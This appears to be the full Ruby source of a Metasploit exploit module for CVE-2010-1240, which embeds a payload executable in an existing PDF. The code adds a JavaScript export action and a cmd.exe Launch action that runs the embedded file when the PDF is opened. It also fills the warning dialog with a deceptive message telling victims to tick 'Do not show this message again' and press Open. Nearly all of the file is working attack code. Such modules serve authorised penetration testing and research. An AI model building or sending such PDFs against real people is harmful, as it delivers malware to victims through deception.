Spencer McIntyre
374 lines
15 KiB
Ruby
374 lines
15 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::PDF_Parse
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Adobe PDF Embedded EXE Social Engineering',
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'Description' => %q{
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This module embeds a Metasploit payload into an existing PDF file. The
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resulting PDF can be sent to a target as part of a social engineering attack.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Colin Ames <amesc[at]attackresearch.com>', # initial module
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'jduck' # add Documents for vista/win7/win10
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],
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'References' => [
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[ 'CVE', '2010-1240' ],
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[ 'OSVDB', '63667' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
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],
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'DisclosureDate' => '2010-03-29',
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'Payload' => {
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'Space' => 4096,
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'DisableNops' => true
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},
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'Platform' => 'win',
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'Targets' => [
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[ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ]
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],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'Reliability' => [ REPEATABLE_SESSION ],
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'SideEffects' => [
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ARTIFACTS_ON_DISK, # the EXE is transferred to disk to be executed
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SCREEN_EFFECTS # a message is shown to the user, see: LAUNCH_MESSAGE
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]
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}
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)
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)
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register_options(
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[
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OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
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OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
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OptString.new('LAUNCH_MESSAGE', [
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false, 'The message to display in the File: area',
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'To view the encrypted content please check the "Do not show this message again" box and press Open.'
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]),
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]
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)
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end
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def exploit
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file_name = datastore['INFILENAME']
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print_status("Reading in '#{file_name}'...")
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stream = read_pdf
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begin
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print_status("Parsing '#{file_name}'...")
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pdf_objects = parse_pdf(stream)
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xref_trailers = pdf_objects[0]
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trailers = pdf_objects[1]
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startxrefs = pdf_objects[2]
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root_obj = pdf_objects[3]
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output = basic_social_engineering_exploit({
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xref_trailers: xref_trailers,
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root_obj: root_obj,
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stream: stream,
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trailers: trailers,
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file_name: file_name,
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startxref: startxrefs.last
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})
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print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
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file_create(output)
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rescue KeyError => e
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# Lazy fix:
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# Similar to the problem with NoMethod -- something we need is missing in the PDF.
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# But really what happens is the module trusts the PDF too much.
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# Don't be sorry, you're a beautiful human we all appreciate greatly
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print_error("Sorry, I'm picky. Incompatible PDF structure. Please try a different PDF template.")
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elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
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rescue NoMethodError => e
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# Lazy fix:
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# When a NoMethod error is hit, that means that something in the PDF is actually missing,
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# so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
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# will work, either. So we might as well just reject it.
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print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
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elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
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end
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end
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def ef_payload(pdf_name, obj_num)
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print_status("Using '#{datastore['PAYLOAD']}' as payload...")
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payload_exe = generate_payload_exe
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file_size = payload_exe.length
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stream = Rex::Text.zlib_deflate(payload_exe)
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md5 = Rex::Text.md5(stream)
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output = String.new
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output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
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output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
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output << "stream\r#{stream}\r\nendstream\rendobj\r"
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return output
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end
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def js_payload(pdf_name, obj_num)
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output = String.new
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output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
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output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
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# change to the home drive/path no matter what
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output << '%HOMEDRIVE%&cd %HOMEPATH%'
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# check for the pdf in these dirs, in this order..
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dirs = [ 'Desktop', 'My Documents', 'Documents', 'Escritorio', 'Mis Documentos' ]
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dirs.each do |dir|
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fmt = '&' \
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'(' \
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'if exist "%s" ' \
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'(cd "%s")' \
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')'
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fname = "%s\\\\#{pdf_name}.pdf" % dir
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output << fmt % [fname, dir]
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end
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launch_message = datastore['LAUNCH_MESSAGE']
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lines = []
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launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << ::Regexp.last_match(0) }
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if (lines.length > 2)
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print_warning('Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.')
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end
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output << '&' +
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# NOTE: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
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"(start #{pdf_name}.pdf)" +
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# NOTE: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
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("\n" * 10) +
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launch_message +
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# NOTE: this extra rparen is required.
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')' \
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">>>>\rendobj\r"
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return output
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end
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def basic_social_engineering_exploit(opts = {})
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xref_trailers = opts[:xref_trailers]
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root_obj = opts[:root_obj]
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stream = opts[:stream]
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trailers = opts[:trailers]
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file_name = opts[:file_name]
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startxref = opts[:startxref]
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file_name = file_name.split(%r{/}).pop.to_s
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match = file_name.match(/(.+)\.pdf/)
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if match
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pdf_name = match[1]
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end
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catalog = parse_object(xref_trailers, root_obj, stream)
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match = catalog.match(/Names (\d+ \d) R/m)
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if match
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names = parse_object(xref_trailers, match[1], stream)
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match = names.match(/EmbeddedFiles (\d+ \d) R/m)
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if match
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embedded_files = parse_object(xref_trailers, match[1], stream)
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new_embedded_files = embedded_files.gsub(/(\]>>)/m, "(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{trailers[0].fetch('Size')} 0 R" + '\1')
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else
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new_names = names.gsub(/(>>.*)/m, "/EmbeddedFiles #{trailers[0].fetch('Size')} 0 R" + '\1')
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end
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else
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new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/Names #{trailers[0].fetch('Size')} 0 R")
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end
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if catalog.match(/OpenAction/m)
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match = catalog.match(/OpenAction (\d+ \d) R/m)
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if match
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if new_catalog
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if new_embedded_files
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new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
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elsif new_names
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new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
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else
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new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
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end
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elsif new_embedded_files
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new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
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elsif new_names
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new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
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else
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new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
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end
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elsif new_catalog
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new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
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else
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new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
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end
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elsif new_catalog
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if new_embedded_files
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new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
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elsif new_names
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new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
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else
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new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
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end
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elsif new_embedded_files
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new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
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elsif new_names
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new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
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else
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new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
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end
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pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
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pages = parse_object(xref_trailers, pages_obj, stream)
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page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
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page = parse_object(xref_trailers, page_obj, stream)
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match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
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while match
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page_obj = match[1]
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page = parse_object(xref_trailers, page_obj, stream)
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match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
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end
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match = page.match(%r{AA<</O (\d+ \d) R}m)
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if match
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aa = parse_object(xref_trailers, match[1], stream)
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end
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new_pdf = String.new
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xrefs = String.new
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pdf_payload = String.new
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if new_embedded_files
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num = trailers[0].fetch('Size').to_i - 1
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pdf_payload << ef_payload(pdf_name, num)
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pdf_payload << js_payload(pdf_name, num)
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new_pdf << stream << pdf_payload
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xrefs = xref_create(new_pdf, stream.length, '*')
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new_size = trailers[0].fetch('Size').to_i + 4
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if aa
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new_page = page.gsub(%r{(AA<</O )\d+ \d R(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 3} 0" + '\2')
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else
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new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 3} 0 R>>" + '\1')
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end
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new_pdf << new_catalog
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xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
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new_pdf << new_page
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xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
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new_pdf << new_embedded_files
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xrefs << xref_create(new_pdf, (new_pdf.length - new_embedded_files.length), '1')
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if trailers[0].key?('ID')
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new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
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else
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new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
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end
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new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
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elsif new_names
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num = trailers[0].fetch('Size').to_i
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pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{num + 1} 0 R]>>\rendobj\r"
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pdf_payload << ef_payload(pdf_name, num)
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pdf_payload << js_payload(pdf_name, num)
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new_pdf << stream << pdf_payload
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xrefs = xref_create(new_pdf, stream.length, '*')
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new_size = trailers[0].fetch('Size').to_i + 5
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if aa
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new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 4} 0" + '\2')
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else
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new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 4} 0 R>>" + '\1')
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end
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new_pdf << new_catalog
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xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
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new_pdf << new_page
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xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
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new_pdf << new_names
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xrefs << xref_create(new_pdf, (new_pdf.length - new_names.length), '1')
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if trailers[0].key?('ID')
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new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
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else
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new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
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end
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new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
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else
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num = trailers[0].fetch('Size').to_i + 1
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pdf_payload << "#{trailers[0].fetch('Size')} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
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pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
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pdf_payload << ef_payload(pdf_name, num)
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pdf_payload << js_payload(pdf_name, num)
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new_pdf << stream << pdf_payload
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xrefs = xref_create(new_pdf, stream.length, '*')
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new_size = trailers[0].fetch('Size').to_i + 6
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if aa
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new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 5} 0" + '\2')
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else
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new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 5} 0 R>>" + '\1')
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end
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new_pdf << new_catalog
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xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
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new_pdf << new_page
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xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
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if trailers[0].key?('ID')
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new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
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else
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new_pdf << "xref\r\n" << xrefs
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new_pdf << "trailer\r\n"
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new_pdf << "<</Size #{new_size}/Prev #{startxref}"
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new_pdf << "/Root #{trailers[0].fetch('Root')} R"
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new_pdf << "/Info #{trailers[0].fetch('Info')} R>>\r\n"
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end
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new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
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end
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return new_pdf
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end
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end
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